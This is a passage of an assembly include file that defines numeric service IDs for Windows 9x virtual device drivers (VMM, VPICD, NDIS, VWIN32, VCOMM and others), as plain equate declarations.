VMM_End_V86_Serialization equ 000010172h VMM_Assert_Range equ 000010173h VMM_Sprintf equ 000010174h VMM_PageChangePager equ 000010175h VMM_RegCreateDynKey equ 000010176h VMM_RegQMulti equ 000010177h VMM_Boost_Thread_With_VM equ 000010178h VMM_Get_Boot_Flags equ 000010179h VMM_Set_Boot_Flags equ 00001017Ah VMM_lstrcpyn equ 00001017Bh VMM_lstrlen equ 00001017Ch VMM_lmemcpy equ 00001017Dh VMM_GetVxDName equ 00001017Eh VMM_Force_Mutexes_Free equ 00001017Fh VMM_Restore_Forced_Mutexes equ 000010180h VMM_AddReclaimableItem equ 000010181h VMM_SetReclaimableItem equ 000010182h VMM_EnumReclaimableItem equ 000010183h VMM_Time_Slice_Wake_Sys_VM equ 000010184h VMM_VMM_Replace_Global_Environment equ 000010185h VMM_Begin_Non_Serial_Nest_V86_Exec equ 000010186h VMM_Get_Nest_Exec_Status equ 000010187h VMM_Open_Boot_Log equ 000010188h VMM_Write_Boot_Log equ 000010189h VMM_Close_Boot_Log equ 00001018Ah VMM_EnableDisable_Boot_Log equ 00001018Bh VMM_Call_On_My_Stack equ 00001018Ch VMM_Get_Inst_V86_Int_Vec_Base equ 00001018Dh VMM_lstrcmpi equ 00001018Eh VMM_strupr equ 00001018Fh VMM_Log_Fault_Call_Out equ 000010190h VMM_AtEventTime equ 000010191h VMM_PageOutPages equ 000010192h VMM_Call_On_My_Not_Flat_Stack equ 000010193h VMM_LinRegionLock equ 000010194h VMM_LinRegionUnLock equ 000010195h VMM_AttemptingSomethingDangerous equ 000010196h VMM_Vsprintf equ 000010197h VMM_Vsprintfw equ 000010198h VMM_Load_FS_Service equ 000010199h VMM_Assert_FS_Service equ 00001019Ah VMM_ObsoleteRtlUnwind equ 00001019Bh VMM_ObsoleteRtlRaiseException equ 00001019Ch VMM_ObsoleteRtlRaiseStatus equ 00001019Dh VMM_ObsoleteKeGetCurrentIrql equ 00001019Eh VMM_ObsoleteKfRaiseIrql equ 00001019Fh VMM_ObsoleteKfLowerIrql equ 0000101A0h VMM_Begin_Preemptable_Code equ 0000101A1h VMM_End_Preemptable_Code equ 0000101A2h VMM_Set_Preemptable_Count equ 0000101A3h VMM_ObsoleteKeInitializeDpc equ 0000101A4h VMM_ObsoleteKeInsertQueueDpc equ 0000101A5h VMM_ObsoleteKeRemoveQueueDpc equ 0000101A6h VMM_HeapAllocateEx equ 0000101A7h VMM_HeapReAllocateEx equ 0000101A8h VMM_HeapGetSizeEx equ 0000101A9h VMM_HeapFreeEx equ 0000101AAh VMM_Get_CPUID_Flags equ 0000101ABh VMM_KeCheckDivideByZeroTrap equ 0000101ACh VMM_RegisterGARTHandler equ 0000101ADh VMM_GARTReserve equ 0000101AEh VMM_GARTCommit equ 0000101AFh VMM_GARTUnCommit equ 0000101B0h VMM_GARTFree equ 0000101B1h VMM_GARTMemAttributes equ 0000101B2h VMM_KfRaiseIrqlToDpcLevel equ 0000101B3h VMM_VMMCreateThreadEx equ 0000101B4h VMM_FlushCaches equ 0000101B5h VMM_Set_Thread_Win32_Pri_NoYield equ 0000101B6h VMM_FlushMappedCacheBlock equ 0000101B7h VMM_ReleaseMappedCacheBlock equ 0000101B8h VMM_Run_Preemptable_Events equ 0000101B9h VMM_MMPreSystemExit equ 0000101BAh VMM_MMPageFileShutDown equ 0000101BBh VMM_Set_Global_Time_Out_Ex equ 0000101BCh ; [0002.DEBUG] DEBUG_Get_Version equ 000020000h DEBUG_Fault equ 000020001h DEBUG_CheckFault equ 000020002h DEBUG_LoadSyms equ 000020003h ; [0003.VPICD] VPICD_Get_Version equ 000030000h VPICD_Virtualize_IRQ equ 000030001h VPICD_Set_Int_Request equ 000030002h VPICD_Clear_Int_Request equ 000030003h VPICD_Phys_EOI equ 000030004h VPICD_Get_Complete_Status equ 000030005h VPICD_Get_Status equ 000030006h VPICD_Test_Phys_Request equ 000030007h VPICD_Physically_Mask equ 000030008h VPICD_Physically_Unmask equ 000030009h VPICD_Set_Auto_Masking equ 00003000Ah VPICD_Get_IRQ_Complete_Status equ 00003000Bh VPICD_Convert_Handle_To_IRQ equ 00003000Ch VPICD_Convert_IRQ_To_Int equ 00003000Dh VPICD_Convert_Int_To_IRQ equ 00003000Eh VPICD_Call_When_Hw_Int equ 00003000Fh VPICD_Force_Default_Owner equ 000030010h VPICD_Force_Default_Behavior equ 000030011h VPICD_Auto_Mask_At_Inst_Swap equ 000030012h VPICD_Begin_Inst_Page_Swap equ 000030013h VPICD_End_Inst_Page_Swap equ 000030014h VPICD_Virtual_EOI equ 000030015h VPICD_Get_Virtualization_Count equ 000030016h VPICD_Post_Sys_Critical_Init equ 000030017h VPICD_VM_SlavePIC_Mask_Change equ 000030018h VPICD_Clear_IR_Bits equ 000030019h VPICD_Get_Level_Mask equ 00003001Ah VPICD_Set_Level_Mask equ 00003001Bh VPICD_Set_Irql_Mask equ 00003001Ch VPICD_Set_Channel_Irql equ 00003001Dh VPICD_Prepare_For_Shutdown equ 00003001Eh ; [0004.VDMAD] VDMAD_Get_Version equ 000040000h VDMAD_Virtualize_Channel equ 000040001h VDMAD_Get_Region_Info equ 000040002h VDMAD_Set_Region_Info equ 000040003h VDMAD_Get_Virt_State equ 000040004h VDMAD_Set_Virt_State equ 000040005h VDMAD_Set_Phys_State equ 000040006h VDMAD_Mask_Channel equ 000040007h VDMAD_UnMask_Channel equ 000040008h VDMAD_Lock_DMA_Region equ 000040009h VDMAD_Unlock_DMA_Region equ 00004000Ah VDMAD_Scatter_Lock equ 00004000Bh VDMAD_Scatter_Unlock equ 00004000Ch VDMAD_Reserve_Buffer_Space equ 00004000Dh VDMAD_Request_Buffer equ 00004000Eh VDMAD_Release_Buffer equ 00004000Fh VDMAD_Copy_To_Buffer equ 000040010h VDMAD_Copy_From_Buffer equ 000040011h VDMAD_Default_Handler equ 000040012h VDMAD_Disable_Translation equ 000040013h VDMAD_Enable_Translation equ 000040014h VDMAD_Get_EISA_Adr_Mode equ 000040015h VDMAD_Set_EISA_Adr_Mode equ 000040016h VDMAD_Unlock_DMA_Region_No_Dirty equ 000040017h VDMAD_Phys_Mask_Channel equ 000040018h VDMAD_Phys_Unmask_Channel equ 000040019h VDMAD_Unvirtualize_Channel equ 00004001Ah VDMAD_Set_IO_Address equ 00004001Bh VDMAD_Get_Phys_Count equ 00004001Ch VDMAD_Get_Phys_Status equ 00004001Dh VDMAD_Get_Max_Phys_Page equ 00004001Eh VDMAD_Set_Channel_Callbacks equ 00004001Fh VDMAD_Get_Virt_Count equ 000040020h VDMAD_Set_Virt_Count equ 000040021h ; [0005.VTD] VTD_Get_Version equ 000050000h VTD_Update_System_Clock equ 000050001h VTD_Get_Interrupt_Period equ 000050002h VTD_Begin_Min_Int_Period equ 000050003h VTD_End_Min_Int_Period equ 000050004h VTD_Disable_Trapping equ 000050005h VTD_Enable_Trapping equ 000050006h VTD_Get_Real_Time equ 000050007h VTD_Get_Date_And_Time equ 000050008h VTD_Adjust_VM_Count equ 000050009h VTD_Delay equ 00005000Ah VTD_GetTimeZoneBias equ 00005000Bh VTD_ObsoleteKeQueryPerformanceCounter equ 00005000Ch VTD_ObsoleteKeQuerySystemTime equ 00005000Dh VTD_Install_IO_Handle equ 00005000Eh VTD_Remove_IO_Handle equ 00005000Fh VTD_Delay_Ex equ 000050010h VTD_Init_Timer equ 000050011h ; [0006.V86MMGR] V86MMGR_Get_Version equ 000060000h V86MMGR_Allocate_V86_Pages equ 000060001h V86MMGR_Set_EMS_XMS_Limits equ 000060002h V86MMGR_Get_EMS_XMS_Limits equ 000060003h V86MMGR_Set_Mapping_Info equ 000060004h V86MMGR_Get_Mapping_Info equ 000060005h V86MMGR_Xlat_API equ 000060006h V86MMGR_Load_Client_Ptr equ 000060007h V86MMGR_Allocate_Buffer equ 000060008h V86MMGR_Free_Buffer equ 000060009h V86MMGR_Get_Xlat_Buff_State equ 00006000Ah V86MMGR_Set_Xlat_Buff_State equ 00006000Bh V86MMGR_Get_VM_Flat_Sel equ 00006000Ch V86MMGR_Map_Pages equ 00006000Dh V86MMGR_Free_Page_Map_Region equ 00006000Eh V86MMGR_LocalGlobalReg equ 00006000Fh V86MMGR_GetPgStatus equ 000060010h V86MMGR_SetLocalA20 equ 000060011h V86MMGR_ResetBasePages equ 000060012h V86MMGR_SetAvailMapPgs equ 000060013h V86MMGR_NoUMBInitCalls equ 000060014h V86MMGR_Get_EMS_XMS_Avail equ 000060015h V86MMGR_Toggle_HMA equ 000060016h V86MMGR_Dev_Init equ 000060017h V86MMGR_Alloc_UM_Page equ 000060018h ; [0007.PAGESWAP] PAGESWAP_Get_Version equ 000070000h PAGESWAP_0001 equ 000070001h PAGESWAP_0002 equ 000070002h PAGESWAP_0003 equ 000070003h PAGESWAP_0004 equ 000070004h PAGESWAP_0005 equ 000070005h PAGESWAP_Test_IO_Valid equ 000070006h PAGESWAP_Read_Or_Write equ 000070007h PAGESWAP_Grow_File equ 000070008h PAGESWAP_Init_File equ 000070009h ; [0009.REBOOT] ; [000A.VDD] VDD_Get_Version equ 0000A0000h VDD_PIF_State equ 0000A0001h VDD_Get_GrabRtn equ 0000A0002h VDD_Hide_Cursor equ 0000A0003h VDD_Set_VMType equ 0000A0004h VDD_Get_ModTime equ 0000A0005h VDD_Set_HCurTrk equ 0000A0006h VDD_Msg_ClrScrn equ 0000A0007h VDD_Msg_ForColor equ 0000A0008h VDD_Msg_BakColor equ 0000A0009h VDD_Msg_TextOut equ 0000A000Ah VDD_Msg_SetCursPos equ 0000A000Bh VDD_Query_Access equ 0000A000Ch VDD_Check_Update_Soon equ 0000A000Dh VDD_Get_Mini_Dispatch_Table equ 0000A000Eh VDD_Register_Virtual_Port equ 0000A000Fh VDD_Get_VM_Info equ 0000A0010h VDD_Get_Special_VM_IDs equ 0000A0011h VDD_Register_Extra_Screen_Selector equ 0000A0012h VDD_Takeover_VGA_Port equ 0000A0013h VDD_Get_DISPLAYINFO equ 0000A0014h VDD_Do_Physical_IO equ 0000A0015h VDD_Set_Sleep_Flag_Addr equ 0000A0016h VDD_EnableDevice equ 0000A0017h ; [000B.VSD] VSD_Get_Version equ 0000B0000h VSD_Bell equ 0000B0001h VSD_SoundOn equ 0000B0002h VSD_TakeSoundPort equ 0000B0003h ; [000C.VMD] VMD_Get_Version equ 0000C0000h VMD_Set_Mouse_Type equ 0000C0001h VMD_Get_Mouse_Owner equ 0000C0002h VMD_Post_Pointer_Message equ 0000C0003h VMD_Set_Cursor_Proc equ 0000C0004h VMD_Call_Cursor_Proc equ 0000C0005h VMD_Set_Mouse_Data equ 0000C0006h VMD_Get_Mouse_Data equ 0000C0007h VMD_Manipulate_Pointer_Message equ 0000C0008h VMD_Set_Middle_Button equ 0000C0009h VMD_Enable_Disable_Mouse_Events equ 0000C000Ah VMD_Post_Absolute_Pointer_Message equ 0000C000Bh ; [000D.VKD] VKD_Get_Version equ 0000D0000h VKD_Define_Hot_Key equ 0000D0001h VKD_Remove_Hot_Key equ 0000D0002h VKD_Local_Enable_Hot_Key equ 0000D0003h VKD_Local_Disable_Hot_Key equ 0000D0004h VKD_Reflect_Hot_Key equ 0000D0005h VKD_Cancel_Hot_Key_State equ 0000D0006h VKD_Force_Keys equ 0000D0007h VKD_Get_Kbd_Owner equ 0000D0008h VKD_Define_Paste_Mode equ 0000D0009h VKD_Start_Paste equ 0000D000Ah VKD_Cancel_Paste equ 0000D000Bh VKD_Get_Msg_Key equ 0000D000Ch VKD_Peek_Msg_Key equ 0000D000Dh VKD_Flush_Msg_Key_Queue equ 0000D000Eh VKD_Enable_Keyboard equ 0000D000Fh VKD_Disable_KeyBoard equ 0000D0010h VKD_Get_Shift_State equ 0000D0011h VKD_Filter_Keyboard_Input equ 0000D0012h VKD_Put_Byte equ 0000D0013h VKD_Set_Shift_State equ 0000D0014h VKD_Send_Data equ 0000D0015h VKD_Set_LEDs equ 0000D0016h VKD_Set_Key_Rate equ 0000D0017h VKD_Get_Key_Rate equ 0000D0018h ; [000E.VCD] VCD_Get_Version equ 0000E0000h VCD_Set_Port_Global equ 0000E0001h VCD_Get_Focus equ 0000E0002h VCD_Virtualize_Port equ 0000E0003h VCD_Acquire_Port equ 0000E0004h VCD_Free_Port equ 0000E0005h VCD_Acquire_Port_Windows_Style equ 0000E0006h VCD_Free_Port_Windows_Style equ 0000E0007h VCD_Steal_Port_Windows_Style equ 0000E0008h VCD_Find_COM_Index equ 0000E0009h VCD_Set_Port_Global_Special equ 0000E000Ah VCD_Virtualize_Port_Dynamic equ 0000E000Bh VCD_Unvirtualize_Port_Dynamic equ 0000E000Ch ; [000F.VPD] VPD_Get_Version equ 0000F0000h VPD_Acquire equ 0000F0001h VPD_Release equ 0000F0002h VPD_Jumbo_Acquire equ 0000F0003h VPD_Jumbo_Release equ 0000F0004h ; [0010.IOS] IOS_Get_Version equ 000100000h IOS_BD_Register_Device equ 000100001h IOS_Find_Int13_Drive equ 000100002h IOS_Get_Device_List equ 000100003h IOS_SendCommand equ 000100004h IOS_BD_Command_Complete equ 000100005h IOS_Synchronous_Command equ 000100006h IOS_Register equ 000100007h IOS_Requestor_Service equ 000100008h IOS_Exclusive_Access equ 000100009h IOS_Send_Next_Command equ 00010000Ah IOS_Set_Async_Time_Out equ 00010000Bh IOS_Signal_Semaphore_No_Switch equ 00010000Ch IOS_IdleStatus equ 00010000Dh IOS_MapIORSToI24 equ 00010000Eh IOS_MapIORSToI21 equ 00010000Fh IOS_PrintLog equ 000100010h ; [0011.VMCPD] VMCPD_Get_Version equ 000110000h VMCPD_Get_Virt_State equ 000110001h VMCPD_Set_Virt_State equ 000110002h VMCPD_Get_CR0_State equ 000110003h VMCPD_Set_CR0_State equ 000110004h VMCPD_Get_Thread_State equ 000110005h VMCPD_Set_Thread_State equ 000110006h VMCPD_Get_FP_Instruction_Size equ 000110007h VMCPD_Set_Thread_Precision equ 000110008h ; [0012.EBIOS] EBIOS_Get_Version equ 000120000h EBIOS_Get_Unused_Mem equ 000120001h ; [0014.VNETBIOS] VNETBIOS_Get_Version equ 000140000h VNETBIOS_Register equ 000140001h VNETBIOS_Submit equ 000140002h VNETBIOS_Enum equ 000140003h VNETBIOS_Deregister equ 000140004h VNETBIOS_Register2 equ 000140005h VNETBIOS_Map equ 000140006h VNETBIOS_Enum2 equ 000140007h ; [0015.DOSMGR] DOSMGR_Get_Version equ 000150000h DOSMGR_Set_Exec_VM_Data equ 000150001h DOSMGR_Copy_VM_Drive_State equ 000150002h DOSMGR_Exec_VM equ 000150003h DOSMGR_Get_IndosPtr equ 000150004h DOSMGR_Add_Device equ 000150005h DOSMGR_Remove_Device equ 000150006h DOSMGR_Instance_Device equ 000150007h DOSMGR_Get_DOS_Crit_Status equ 000150008h DOSMGR_Enable_Indos_Polling equ 000150009h DOSMGR_BackFill_Allowed equ 00015000Ah DOSMGR_LocalGlobalReg equ 00015000Bh DOSMGR_Init_UMB_Area equ 00015000Ch DOSMGR_Begin_V86_App equ 00015000Dh DOSMGR_End_V86_App equ 00015000Eh DOSMGR_Alloc_Local_Sys_VM_Mem equ 00015000Fh DOSMGR_Grow_CDSs equ 000150010h DOSMGR_Translate_Server_DOS_Call equ 000150011h DOSMGR_MMGR_PSP_Change_Notifier equ 000150012h ; [0017.SHELL] SHELL_Get_Version equ 000170000h SHELL_Resolve_Contention equ 000170001h SHELL_Event equ 000170002h SHELL_SYSMODAL_Message equ 000170003h SHELL_Message equ 000170004h SHELL_GetVMInfo equ 000170005h SHELL_PostMessage equ 000170006h SHELL_ShellExecute equ 000170007h SHELL_PostShellMessage equ 000170008h SHELL_DispatchRing0AppyEvents equ 000170009h SHELL_Hook_Properties equ 00017000Ah SHELL_Unhook_Properties equ 00017000Bh SHELL_Update_User_Activity equ 00017000Ch SHELL_QueryAppyTimeAvailable equ 00017000Dh SHELL_CallAtAppyTime equ 00017000Eh SHELL_CancelAppyTimeEvent equ 00017000Fh SHELL_BroadcastSystemMessage equ 000170010h SHELL_HookSystemBroadcast equ 000170011h SHELL_UnhookSystemBroadcast equ 000170012h SHELL_LocalAllocEx equ 000170013h SHELL_LocalFree equ 000170014h SHELL_LoadLibrary equ 000170015h SHELL_FreeLibrary equ 000170016h SHELL_GetProcAddress equ 000170017h SHELL_CallDll equ 000170018h SHELL_SuggestSingleMSDOSMode equ 000170019h SHELL_CheckHotkeyAllowed equ 00017001Ah SHELL_GetDOSAppInfo equ 00017001Bh SHELL_Update_User_Activity_Ex equ 00017001Ch ; [0018.VMPOOL] VMPOOL_Get_Version equ 000180000h VMPOOL_Enable_Disable equ 000180001h VMPOOL_Reset_Detection equ 000180002h VMPOOL_Check_Idle equ 000180003h ; [001A.DOSNET] DOSNET_Get_Version equ 0001A0000h DOSNET_Send_FILESYSCHANGE equ 0001A0001h DOSNET_Do_PSP_Adjust equ 0001A0002h ; [0020.INT13] INT13_Get_Version equ 000200000h INT13_Device_Registered equ 000200001h INT13_Translate_VM_Int equ 000200002h INT13_Hooking_BIOS_Int equ 000200003h INT13_Unhooking_BIOS_Int equ 000200004h ; [0021.PAGEFILE] PAGEFILE_Get_Version equ 000210000h PAGEFILE_Init_File equ 000210001h PAGEFILE_Clean_Up equ 000210002h PAGEFILE_Grow_File equ 000210003h PAGEFILE_Read_Or_Write equ 000210004h PAGEFILE_Cancel equ 000210005h PAGEFILE_Test_IO_Valid equ 000210006h PAGEFILE_Get_Size_Info equ 000210007h PAGEFILE_Set_Async_Manager equ 000210008h PAGEFILE_Call_Async_Manager equ 000210009h ; [0026.VPOWERD] VPOWERD_Get_Version equ 000260000h VPOWERD_Get_APM_BIOS_Version equ 000260001h VPOWERD_Get_Power_Management_Level equ 000260002h VPOWERD_Set_Power_Management_Level equ 000260003h VPOWERD_Set_Device_Power_State equ 000260004h VPOWERD_Set_System_Power_State equ 000260005h VPOWERD_Restore_Power_On_Defaults equ 000260006h VPOWERD_Get_Power_Status equ 000260007h VPOWERD_Get_Power_State equ 000260008h VPOWERD_OEM_APM_Function equ 000260009h VPOWERD_Register_Power_Handler equ 00026000Ah VPOWERD_Deregister_Power_Handler equ 00026000Bh VPOWERD_W32_Get_System_Power_Status equ 00026000Ch VPOWERD_W32_Set_System_Power_State equ 00026000Dh VPOWERD_Get_Capabilities equ 00026000Eh VPOWERD_Enable_Resume_On_Ring equ 00026000Fh VPOWERD_Disable_Resume_On_Ring equ 000260010h VPOWERD_Set_Resume_Timer equ 000260011h VPOWERD_Get_Resume_Timer equ 000260012h VPOWERD_Disable_Resume_Timer equ 000260013h VPOWERD_Enable_Timer_Based_Requests equ 000260014h VPOWERD_Disable_Timer_Based_Requests equ 000260015h VPOWERD_W32_Get_Power_Status equ 000260016h VPOWERD_Get_Timer_Based_Requests_Status equ 000260017h VPOWERD_Get_Ring_Resume_Status equ 000260018h VPOWERD_Transfer_Control equ 000260019h ; [0027.VXDLDR] VXDLDR_GetVersion equ 000270000h VXDLDR_LoadDevice equ 000270001h VXDLDR_UnloadDevice equ 000270002h VXDLDR_DevInitSucceeded equ 000270003h VXDLDR_DevInitFailed equ 000270004h VXDLDR_GetDeviceList equ 000270005h VXDLDR_UnloadMe equ 000270006h VXDLDR_PELDR_LoadModule equ 000270007h VXDLDR_PELDR_GetModuleHandle equ 000270008h VXDLDR_PELDR_GetModuleUsage equ 000270009h VXDLDR_PELDR_GetEntryPoint equ 00027000Ah VXDLDR_PELDR_GetProcAddress equ 00027000Bh VXDLDR_PELDR_AddExportTable equ 00027000Ch VXDLDR_PELDR_RemoveExportTable equ 00027000Dh VXDLDR_PELDR_FreeModule equ 00027000Eh VXDLDR_Notify equ 00027000Fh VXDLDR_PELDR_InitCompleted equ 000270010h VXDLDR_PELDR_LoadModuleEx equ 000270011h VXDLDR_PELDR_LoadModule2 equ 000270012h ; [0028.NDIS] NDIS_GetVersion equ 000280000h NDIS_AllocateSpinLock equ 000280001h NDIS_FreeSpinLock equ 000280002h NDIS_AcquireSpinLock equ 000280003h NDIS_ReleaseSpinLock equ 000280004h NDIS_OpenConfiguration equ 000280005h NDIS_ReadConfiguration equ 000280006h NDIS_CloseConfiguration equ 000280007h NDIS_ReadEisaSlotInformation equ 000280008h NDIS_ReadMcaPosInformation equ 000280009h NDIS_AllocateMemory equ 00028000Ah NDIS_FreeMemory equ 00028000Bh NDIS_SetTimer equ 00028000Ch NDIS_CancelTimer equ 00028000Dh NDIS_StallExecution equ 00028000Eh NDIS_InitializeInterrupt equ 00028000Fh NDIS_RemoveInterrupt equ 000280010h NDIS_SynchronizeWithInterrupt equ 000280011h NDIS_OpenFile equ 000280012h NDIS_MapFile equ 000280013h NDIS_UnmapFile equ 000280014h NDIS_CloseFile equ 000280015h NDIS_AllocatePacketPool equ 000280016h NDIS_FreePacketPool equ 000280017h NDIS_AllocatePacket equ 000280018h NDIS_ReinitializePacket equ 000280019h NDIS_FreePacket equ 00028001Ah NDIS_QueryPacket equ 00028001Bh NDIS_AllocateBufferPool equ 00028001Ch NDIS_FreeBufferPool equ 00028001Dh NDIS_AllocateBuffer equ 00028001Eh NDIS_CopyBuffer equ 00028001Fh NDIS_FreeBuffer equ 000280020h NDIS_QueryBuffer equ 000280021h NDIS_GetBufferPhysicalAddress equ 000280022h NDIS_ChainBufferAtFront equ 000280023h NDIS_ChainBufferAtBack equ 000280024h NDIS_UnchainBufferAtFront equ 000280025h NDIS_UnchainBufferAtBack equ 000280026h NDIS_GetNextBuffer equ 000280027h NDIS_CopyFromPacketToPacket equ 000280028h NDIS_RegisterProtocol equ 000280029h NDIS_DeregisterProtocol equ 00028002Ah NDIS_OpenAdapter equ 00028002Bh NDIS_CloseAdapter equ 00028002Ch NDIS_Send equ 00028002Dh NDIS_TransferData equ 00028002Eh NDIS_Reset equ 00028002Fh NDIS_Request equ 000280030h NDIS_InitializeWrapper equ 000280031h NDIS_TerminateWrapper equ 000280032h NDIS_RegisterMac equ 000280033h NDIS_DeregisterMac equ 000280034h NDIS_RegisterAdapter equ 000280035h NDIS_DeregisterAdapter equ 000280036h NDIS_CompleteOpenAdapter equ 000280037h NDIS_CompleteCloseAdapter equ 000280038h NDIS_CompleteSend equ 000280039h NDIS_CompleteTransferData equ 00028003Ah NDIS_CompleteReset equ 00028003Bh NDIS_CompleteRequest equ 00028003Ch NDIS_IndicateReceive equ 00028003Dh NDIS_IndicateReceiveComplete equ 00028003Eh NDIS_IndicateStatus equ 00028003Fh NDIS_IndicateStatusComplete equ 000280040h NDIS_CompleteQueryStatistics equ 000280041h NDIS_EqualString equ 000280042h NDIS_RegAdaptShutdown equ 000280043h NDIS_ReadNetworkAddress equ 000280044h NDIS_WriteErrorLogEntry equ 000280045h NDIS_MapIoSpace equ 000280046h NDIS_DeregAdaptShutdown equ 000280047h NDIS_AllocateSharedMemory equ 000280048h NDIS_FreeSharedMemory equ 000280049h NDIS_AllocateDmaChannel equ 00028004Ah NDIS_SetupDmaTransfer equ 00028004Bh NDIS_CompleteDmaTransfer equ 00028004Ch NDIS_ReadDmaCounter equ 00028004Dh NDIS_FreeDmaChannel equ 00028004Eh NDIS_ReleaseAdapterResources equ 00028004Fh NDIS_QueryGlobalStatistics equ 000280050h NDIS_OpenProtocolConfiguration equ 000280051h NDIS_CompleteBindAdapter equ 000280052h NDIS_CompleteUnbindAdapter equ 000280053h NDIS_WrapperStartNet equ 000280054h NDIS_WrapperGetComponentList equ 000280055h NDIS_WrapperQueryAdapterResources equ 000280056h NDIS_WrapperDelayBinding equ 000280057h NDIS_WrapperResumeBinding equ 000280058h NDIS_WrapperRemoveChildren equ 000280059h NDIS_ImmediateReadPciSlotInformation equ 00028005Ah NDIS_ImmediateWritePciSlotInformation equ 00028005Bh NDIS_ReadPciSlotInformation equ 00028005Ch NDIS_WritePciSlotInformation equ 00028005Dh NDIS_PciAssignResources equ 00028005Eh NDIS_QueryBufferOffset equ 00028005Fh NDIS_0060 equ 000280060h NDIS_0061 equ 000280061h NDIS_InitializeEvent equ 000280062h NDIS_SetEvent equ 000280063h NDIS_ResetEvent equ 000280064h NDIS_WaitEvent equ 000280065h NDIS_ReturnPackets equ 000280066h NDIS_QueryReceiveInformation equ 000280067h NDIS_CmRegisterAddressFamily equ 000280068h NDIS_ClOpenAddressFamily equ 000280069h NDIS_CmOpenAddressFamilyComplete equ 00028006Ah NDIS_ClCloseAddressFamily equ 00028006Bh NDIS_CmCloseAddressFamilyComplete equ 00028006Ch NDIS_ClRegisterSap equ 00028006Dh NDIS_CmRegisterSapComplete equ 00028006Eh NDIS_ClDeregisterSap equ 00028006Fh NDIS_CmDeregisterSapComplete equ 000280070h NDIS_ClMakeCall equ 000280071h NDIS_CmMakeCallComplete equ 000280072h NDIS_CmDispatchIncomingCall equ 000280073h NDIS_ClIncomingCallComplete equ 000280074h NDIS_CmDispatchCallConnected equ 000280075h NDIS_ClModifyCallQoS equ 000280076h NDIS_CmModifyCallQoSComplete equ 000280077h NDIS_CmDispatchIncomingCallQoSChange equ 000280078h NDIS_ClCloseCall equ 000280079h NDIS_CmCloseCallComplete equ 00028007Ah NDIS_CmDispatchIncomingCloseCall equ 00028007Bh NDIS_ClAddParty equ 00028007Ch NDIS_CmAddPartyComplete equ 00028007Dh NDIS_ClDropParty equ 00028007Eh NDIS_CmDropPartyComplete equ 00028007Fh NDIS_CmDispatchIncomingDropParty equ 000280080h NDIS_CoCreateVc equ 000280081h NDIS_CoDeleteVc equ 000280082h NDIS_CmActivateVc equ 000280083h NDIS_CmDeactivateVc equ 000280084h NDIS_CoRequest equ 000280085h NDIS_CoRequestComplete equ 000280086h NDIS_CoSendPackets equ 000280087h NDIS_InitAnsiString equ 000280088h NDIS_InitUnicodeString equ 000280089h NDIS_AnsiStringToUnicodeString equ 00028008Ah NDIS_UnicodeStringToAnsiString equ 00028008Bh NDIS_WriteConfiguration equ 00028008Ch NDIS_OpenConfigurationKeyByName equ 00028008Dh NDIS_OpenConfigurationKeyByIndex equ 00028008Eh NDIS_ConvertStringToAtmAddress equ 00028008Fh NDIS_AllocateMemoryWithTag equ 000280090h NDIS_OpenGlobalConfiguration equ 000280091h NDIS_InterlockedIncrement equ 000280092h NDIS_InterlockedDecrement equ 000280093h NDIS_InterlockedAddUlong equ 000280094h NDIS_InterlockedInsertHeadList equ 000280095h NDIS_InterlockedInsertTailList equ 000280096h NDIS_InterlockedRemoveHeadList equ 000280097h NDIS_InterlockedPopEntryList equ 000280098h NDIS_InterlockedPushEntryList equ 000280099h NDIS_WriteEventLogEntry equ 00028009Ah NDIS_GetFirstBufferFromPacket equ 00028009Bh NDIS_SendPackets equ 00028009Ch NDIS_009D equ 00028009Dh NDIS_GetSystemUpTime equ 00028009Eh NDIS_ScheduleWorkItem equ 00028009Fh NDIS_QueryAdapterInstanceName equ 0002800A0h ; [002A.VWIN32] VWIN32_Get_Version equ 0002A0000h VWIN32_DIOCCompletionRoutine equ 0002A0001h VWIN32_QueueUserApc equ 0002A0002h VWIN32_GetThreadContext equ 0002A0003h VWIN32_SetThreadContext equ 0002A0004h VWIN32_CopyMem equ 0002A0005h VWIN32_NpxException equ 0002A0006h VWIN32_EmulateNpx equ 0002A0007h VWIN32_CheckDelayedNpxTrap equ 0002A0008h VWIN32_EnterCrstR0 equ 0002A0009h VWIN32_LeaveCrstR0 equ 0002A000Ah VWIN32_FaultPopup equ 0002A000Bh VWIN32_GetContextHandle equ 0002A000Ch VWIN32_GetCurrentProcessHandle equ 0002A000Dh VWIN32_SetWin32Event equ 0002A000Eh VWIN32_PulseWin32Event equ 0002A000Fh VWIN32_ResetWin32Event equ 0002A0010h VWIN32_WaitSingleObject equ 0002A0011h VWIN32_WaitMultipleObjects equ 0002A0012h VWIN32_CreateRing0Thread equ 0002A0013h VWIN32_CloseVxDHandle equ 0002A0014h VWIN32_ActiveTimeBiasSet equ 0002A0015h VWIN32_GetCurrentDirectory equ 0002A0016h VWIN32_BlueScreenPopup equ 0002A0017h VWIN32_TerminateApp equ 0002A0018h VWIN32_QueueKernelAPC equ 0002A0019h VWIN32_SysErrorBox equ 0002A001Ah VWIN32_IsClientWin32 equ 0002A001Bh VWIN32_IFSRIPWhenLev2Taken equ 0002A001Ch VWIN32_InitWin32Event equ 0002A001Dh VWIN32_InitWin32Mutex equ 0002A001Eh VWIN32_ReleaseWin32Mutex equ 0002A001Fh VWIN32_BlockThreadEx equ 0002A0020h VWIN32_GetProcessHandle equ 0002A0021h VWIN32_InitWin32Semaphore equ 0002A0022h VWIN32_SignalWin32Sem equ 0002A0023h VWIN32_QueueUserApcEx equ 0002A0024h VWIN32_OpenVxDHandle equ 0002A0025h VWIN32_CloseWin32Handle equ 0002A0026h VWIN32_AllocExternalHandle equ 0002A0027h VWIN32_UseExternalHandle equ 0002A0028h VWIN32_UnuseExternalHandle equ 0002A0029h VWIN32_KeInitializeTimer equ 0002A002Ah VWIN32_KeSetTimer equ 0002A002Bh VWIN32_KeCancelTimer equ 0002A002Ch VWIN32_KeReadStateTimer equ 0002A002Dh VWIN32_ReferenceObject equ 0002A002Eh VWIN32_GetExternalHandle equ 0002A002Fh VWIN32_ConvertNtTimeout equ 0002A0030h VWIN32_SetWin32EventBoostPriority equ 0002A0031h VWIN32_GetRing3Flat32Selectors equ 0002A0032h VWIN32_GetCurThreadCondition equ 0002A0033h ; [002B.VCOMM] VCOMM_Get_Version equ 0002B0000h VCOMM_Register_Port_Driver equ 0002B0001h VCOMM_Acquire_Port equ 0002B0002h VCOMM_Release_Port equ 0002B0003h VCOMM_OpenComm equ 0002B0004h VCOMM_SetCommState equ 0002B0005h VCOMM_GetCommState equ 0002B0006h VCOMM_SetupComm equ 0002B0007h VCOMM_TransmitCommChar equ 0002B0008h VCOMM_CloseComm equ 0002B0009h 